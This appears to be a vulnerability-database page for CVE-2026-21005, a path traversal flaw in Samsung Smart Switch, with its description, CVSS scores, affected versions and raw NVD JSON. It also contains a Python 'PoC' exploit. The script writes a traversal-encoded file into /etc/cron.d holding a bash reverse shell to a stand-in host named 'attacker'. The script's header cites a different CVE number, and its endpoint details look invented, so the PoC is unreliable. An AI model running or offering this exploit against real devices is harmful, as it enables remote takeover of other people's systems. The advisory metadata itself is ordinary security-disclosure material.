Security Vulnerability Report
中文
CVE-2026-21005 CVSS 6.5 MEDIUM

CVE-2026-21005

Published: 2026-03-16 14:18:12
Last Modified: 2026-03-31 00:30:23

Description

Path traversal in Smart Switch prior to version 3.7.69.15 allows adjacent attackers to overwrite arbitrary files with Smart Switch privilege.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:samsung:smart_switch:*:*:*:*:*:*:*:* - VULNERABLE
Samsung Smart Switch < 3.7.69.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
""" CVE-2026-20205 - Samsung Smart Switch Path Traversal PoC Description: Path traversal in Smart Switch prior to version 3.7.69.15 allows adjacent attackers to overwrite arbitrary files. Discovered by: [email protected] CVSS: 6.5 (Medium) """ import requests import urllib.parse TARGET_IP = "<target_device_ip>" TARGET_PORT = 8443 SMART_SWITCH_ENDPOINT = f"https://{TARGET_IP}:{TARGET_PORT}/api/transfer/file" def construct_path_traversal_payload(remote_path, filename): """ Construct a path traversal payload to overwrite arbitrary files. Args: remote_path: Target directory path to escape from filename: Malicious filename to write Returns: Path traversal encoded filename """ traversal = "../../../../" target_file = f"{remote_path}/{filename}" payload = traversal + target_file return urllib.parse.quote(payload) def exploit_path_traversal(): """ Exploit CVE-2026-21005 by sending a crafted file transfer request with path traversal characters to overwrite arbitrary files. """ headers = { "User-Agent": "SmartSwitch/3.7.69.14", "Content-Type": "application/octet-stream", "X-Transfer-Type": "file-upload" } # Payload to overwrite cron job file (example target) malicious_filename = construct_path_traversal_payload( "etc/cron.d", "malicious_script" ) # Malicious content to execute malicious_content = b"#!/bin/bash\n/bin/bash -i >& /dev/tcp/attacker/4444 0>&1\n" # Construct exploit request exploit_data = { "filename": malicious_filename, "data": malicious_content } print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}") print(f"[*] Sending path traversal payload: {malicious_filename}") try: response = requests.post( SMART_SWITCH_ENDPOINT, json=exploit_data, headers=headers, verify=False, timeout=10 ) if response.status_code == 200: print("[+] Exploit sent successfully!") print(f"[*] Response: {response.text}") else: print(f"[-] Exploit failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": print("=" * 50) print("CVE-2026-21005 Path Traversal Exploit") print("Samsung Smart Switch < 3.7.69.15") print("=" * 50) exploit_path_traversal()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21005", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:11.640", "lastModified": "2026-03-31T00:30:23.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path traversal in Smart Switch prior to version 3.7.69.15 allows adjacent attackers to overwrite arbitrary files with Smart Switch privilege."}, {"lang": "es", "value": "Salto de ruta en Smart Switch anterior a la versión 3.7.69.15 permite a atacantes adyacentes sobrescribir archivos arbitrarios con privilegios de Smart Switch."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:smart_switch:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.7.69.15", "matchCriteriaId": "37A46437-F1AB-40DC-B7FC-77D3CE8047EE"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=03", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}